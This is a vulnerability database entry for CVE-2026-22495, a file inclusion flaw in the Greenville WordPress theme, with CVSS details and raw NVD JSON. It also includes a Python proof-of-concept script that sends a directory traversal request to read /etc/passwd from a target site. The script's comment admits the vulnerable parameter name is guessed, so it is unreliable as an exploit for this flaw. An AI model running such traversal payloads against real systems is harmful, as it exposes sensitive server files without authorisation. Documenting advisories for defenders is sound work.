Security Vulnerability Report
中文
CVE-2026-22495 CVSS 8.1 HIGH

CVE-2026-22495

Published: 2026-03-25 17:16:32
Last Modified: 2026-04-24 16:32:54

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Greenville greenville allows PHP Local File Inclusion.This issue affects Greenville: from n/a through <= 1.3.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes Greenville <= 1.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-22495 # This script demonstrates the Local File Inclusion vulnerability. # Usage: python3 poc.py <target_url> import requests import sys def check_vulnerability(target_url): # Attempt to read /etc/passwd using directory traversal # The parameter name 'file' is hypothetical; replace with actual vulnerable parameter if known payload = "?file=../../../../etc/passwd" try: # Construct the full attack URL attack_url = f"{target_url}/{payload}" print(f"[*] Sending request to: {attack_url}") response = requests.get(attack_url, timeout=10) # Check if the response contains characteristics of /etc/passwd if response.status_code == 200 and "root:x" in response.text: print("[+] Vulnerability confirmed! Sensitive file content leaked:") print(response.text[:500]) # Print first 500 chars else: print("[-] Vulnerability not detected or payload incorrect.") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 poc.py <http://target-site.com>") else: check_vulnerability(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22495", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:31.503", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Greenville greenville allows PHP Local File Inclusion.This issue affects Greenville: from n/a through <= 1.3.2."}, {"lang": "es", "value": "La vulnerabilidad de Control inadecuado del nombre de fichero para la declaración Include/Require en el programa PHP ('Inclusión remota de ficheros PHP') en AncoraThemes Greenville greenville permite la Inclusión local de ficheros PHP. Este problema afecta a Greenville: desde n/a hasta &lt;= 1.3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/greenville/vulnerability/wordpress-greenville-theme-1-3-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}